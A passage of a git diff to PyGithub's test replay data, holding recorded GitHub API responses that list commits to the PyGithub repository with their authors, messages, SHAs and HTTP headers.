Jacques","date":"2012-03-04T01:46:20-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/9ad7d85371d98b8cc50686cc0591e98935d7917d","sha":"9ad7d85371d98b8cc50686cc0591e98935d7917d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/00a832e6d519dac96142f650d6363f24459f9145","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"00a832e6d519dac96142f650d6363f24459f9145","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f03d86c46e4d5b337514277620dc9adbdc68dba2","sha":"f03d86c46e4d5b337514277620dc9adbdc68dba2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-03T04:44:54-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/00a832e6d519dac96142f650d6363f24459f9145","message":"Hook testing","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:19-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/88beba1a00e40bea9da1c02b613e3859df4105de","sha":"88beba1a00e40bea9da1c02b613e3859df4105de"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f03d86c46e4d5b337514277620dc9adbdc68dba2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"f03d86c46e4d5b337514277620dc9adbdc68dba2","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","sha":"0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-03T04:36:01-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/f03d86c46e4d5b337514277620dc9adbdc68dba2","message":"Hooks: step 2","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:18-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/a2d2473d5b9f12020bcba798849206c4636fec2f","sha":"a2d2473d5b9f12020bcba798849206c4636fec2f"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2d89a565f5eb19af605d78762169daec9a701e0","sha":"f2d89a565f5eb19af605d78762169daec9a701e0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-01T08:35:13-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0b8ffcc14c6200dda4f9b11c47d6949b5cd3240b","message":"Hooks: step 1","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:17-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/122bf2a07918c500e15ae7b9a5ae6eba4c4abf34","sha":"122bf2a07918c500e15ae7b9a5ae6eba4c4abf34"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2d89a565f5eb19af605d78762169daec9a701e0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"f2d89a565f5eb19af605d78762169daec9a701e0","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","sha":"924aef7d9f3a21145492ea165c9268ab0030cbab"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-02-23T13:32:44-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/f2d89a565f5eb19af605d78762169daec9a701e0","message":"Totos for hooks and events","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:46:16-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6c010d7ccbfbb6a0f44c829c08753dc19b71c29e","sha":"6c010d7ccbfbb6a0f44c829c08753dc19b71c29e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"924aef7d9f3a21145492ea165c9268ab0030cbab","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cf3f792b16d2e9e56ba6562e9db55663d4443d87","sha":"cf3f792b16d2e9e56ba6562e9db55663d4443d87"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:45:59-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/924aef7d9f3a21145492ea165c9268ab0030cbab","message":"Typo...","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:45:59-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/c2d94eeeeb8eab5793762db56b9d6bdf3070c639","sha":"c2d94eeeeb8eab5793762db56b9d6bdf3070c639"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cf3f792b16d2e9e56ba6562e9db55663d4443d87","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"cf3f792b16d2e9e56ba6562e9db55663d4443d87","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5c17275366efd3bc9414958d661d9a017022be6b","sha":"5c17275366efd3bc9414958d661d9a017022be6b"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a83cc0b1e40788483398eb89e3671b91d648251","sha":"3a83cc0b1e40788483398eb89e3671b91d648251"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:39:25-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/cf3f792b16d2e9e56ba6562e9db55663d4443d87","message":"Merge branch 'topic/Coverage' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:39:25-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/ff1c6594a40331fca68b664d400269b343360fdd","sha":"ff1c6594a40331fca68b664d400269b343360fdd"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a83cc0b1e40788483398eb89e3671b91d648251","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"3a83cc0b1e40788483398eb89e3671b91d648251","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e0c04877a9a00766d099251512a8bb512a1d37c2","sha":"e0c04877a9a00766d099251512a8bb512a1d37c2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:38:09-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/3a83cc0b1e40788483398eb89e3671b91d648251","message":"RepositoryDetails","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:38:09-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/ff1c6594a40331fca68b664d400269b343360fdd","sha":"ff1c6594a40331fca68b664d400269b343360fdd"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e0c04877a9a00766d099251512a8bb512a1d37c2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"e0c04877a9a00766d099251512a8bb512a1d37c2","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6b89c02872cbcb179d79cb4ceb2436fee02425d0","sha":"6b89c02872cbcb179d79cb4ceb2436fee02425d0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:34:02-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/e0c04877a9a00766d099251512a8bb512a1d37c2","message":"AuthenticatedUserDetails","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:34:02-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/5f178bdb7fdd0f30d84b33e99e41b16a32fa0d9b","sha":"5f178bdb7fdd0f30d84b33e99e41b16a32fa0d9b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6b89c02872cbcb179d79cb4ceb2436fee02425d0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"6b89c02872cbcb179d79cb4ceb2436fee02425d0","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/231ae0778e0bebaac3dc87fa8f602c1560b8164f","sha":"231ae0778e0bebaac3dc87fa8f602c1560b8164f"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:21:59-08:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6b89c02872cbcb179d79cb4ceb2436fee02425d0","message":"Downloads","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-04T01:21:59-08:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/047599e78ad35674ee8b0ac51d232b2c71b40a6f","sha":"047599e78ad35674ee8b0ac51d232b2c71b40a6f"}}}] - diff --git a/tests/ReplayData/Repository.testGetCommitsWithArguments.txt b/tests/ReplayData/Repository.testGetCommitsWithArguments.txt index 021e48e2fc..a758a7c843 100644 --- a/tests/ReplayData/Repository.testGetCommitsWithArguments.txt +++ b/tests/ReplayData/Repository.testGetCommitsWithArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '10375'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"230272c14df3176a86fe041ec1370c1d"'), ('date', 'Tue, 29 May 2012 18:24:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/de386d5dc9cf103c90c4128eeca0e6abdd382065","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"de386d5dc9cf103c90c4128eeca0e6abdd382065","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b44982f6111bff2454243869df2e1c3086ccbba","sha":"5b44982f6111bff2454243869df2e1c3086ccbba"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:21:42-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/de386d5dc9cf103c90c4128eeca0e6abdd382065","message":"Rename","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:21:42-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/1aff37f9b6c7c67f5984c4cf4bff68374a2c6943","sha":"1aff37f9b6c7c67f5984c4cf4bff68374a2c6943"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b44982f6111bff2454243869df2e1c3086ccbba","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"5b44982f6111bff2454243869df2e1c3086ccbba","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d6835ff949141957a733c8ddfa147026515ae493","sha":"d6835ff949141957a733c8ddfa147026515ae493"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:18:34-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/5b44982f6111bff2454243869df2e1c3086ccbba","message":"Generate code with Unix line endings even on Windows","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T10:18:34-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/b62a41a33cf46d342f92783df84d91bab0ff05ea","sha":"b62a41a33cf46d342f92783df84d91bab0ff05ea"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d6835ff949141957a733c8ddfa147026515ae493","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"d6835ff949141957a733c8ddfa147026515ae493","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/821ac669f212b1e8868567517f8b85f8a7eb04cf","sha":"821ac669f212b1e8868567517f8b85f8a7eb04cf"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T09:29:08-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/d6835ff949141957a733c8ddfa147026515ae493","message":"dos2unix","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-28T09:29:08-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/2017a36dd1340a30b24ffcf402fe4dfee28470ef","sha":"2017a36dd1340a30b24ffcf402fe4dfee28470ef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/075d3d961d4614a2a0835d5583248adfc0687a7d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"075d3d961d4614a2a0835d5583248adfc0687a7d","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4bf2e31da745b4857ef7779b8af7de04aca713c2","sha":"4bf2e31da745b4857ef7779b8af7de04aca713c2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T05:30:38-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/075d3d961d4614a2a0835d5583248adfc0687a7d","message":"Generate code for url quoting","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T05:30:38-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fdc159d42b4ef9b3480bef5634a4fc78d81265ea","sha":"fdc159d42b4ef9b3480bef5634a4fc78d81265ea"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8956796e7f462a49f499eac52fab901cdb59abdb","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"8956796e7f462a49f499eac52fab901cdb59abdb","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23ed6341da0fcf7a416d04ad0ab252ed55308a5","sha":"f23ed6341da0fcf7a416d04ad0ab252ed55308a5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-12T05:12:03-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8956796e7f462a49f499eac52fab901cdb59abdb","message":"Be explicit about complete-ability","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-12T05:12:03-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f6c8da120b78da3617c89d530322676ba159d40b","sha":"f6c8da120b78da3617c89d530322676ba159d40b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/283da5e7de6a4a3b6aaae7045909d70b643ad380","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"283da5e7de6a4a3b6aaae7045909d70b643ad380","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/595e88cd5537208958f90d6727965cc7918f09a7","sha":"595e88cd5537208958f90d6727965cc7918f09a7"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:26:18-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/283da5e7de6a4a3b6aaae7045909d70b643ad380","message":"Fix code generation and tests after reorganization","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:26:18-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/7cafc3a4c77289c53776e9be84a5857dbeb19eeb","sha":"7cafc3a4c77289c53776e9be84a5857dbeb19eeb"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d631e83b7901b0a0b6061b361130700a79505319","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"d631e83b7901b0a0b6061b361130700a79505319","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cd68559b0861ad2be12be29b9d4b7ec66e885191","sha":"cd68559b0861ad2be12be29b9d4b7ec66e885191"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:10:17-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/d631e83b7901b0a0b6061b361130700a79505319","message":"Move files around","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:10:17-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/586a9fdba155fcae6959133845e702373d4b42ed","sha":"586a9fdba155fcae6959133845e702373d4b42ed"}}}] - diff --git a/tests/ReplayData/Repository.testGetCommitsWithAuthor.txt b/tests/ReplayData/Repository.testGetCommitsWithAuthor.txt index 60310e7107..419e443e9c 100644 --- a/tests/ReplayData/Repository.testGetCommitsWithAuthor.txt +++ b/tests/ReplayData/Repository.testGetCommitsWithAuthor.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4946'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:68E1:4062E83:5280297A'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '15839'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 04 Jun 2013 13:35:09 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"3ed1804969c8b056bbf4ac0098e42f18"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:48:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] [{"sha":"ab674dfcbc86c70bc32d9ecbe171b48a5694c337","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:35:09Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:35:09Z"},"message":"PullRequestMergeStatus docstring","tree":{"sha":"fa1f214180296156c3b5b259f8bf503d485f3487","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa1f214180296156c3b5b259f8bf503d485f3487"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ab674dfcbc86c70bc32d9ecbe171b48a5694c337","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ab674dfcbc86c70bc32d9ecbe171b48a5694c337","html_url":"https://github.com/jacquev6/PyGithub/commit/ab674dfcbc86c70bc32d9ecbe171b48a5694c337","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ab674dfcbc86c70bc32d9ecbe171b48a5694c337/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/m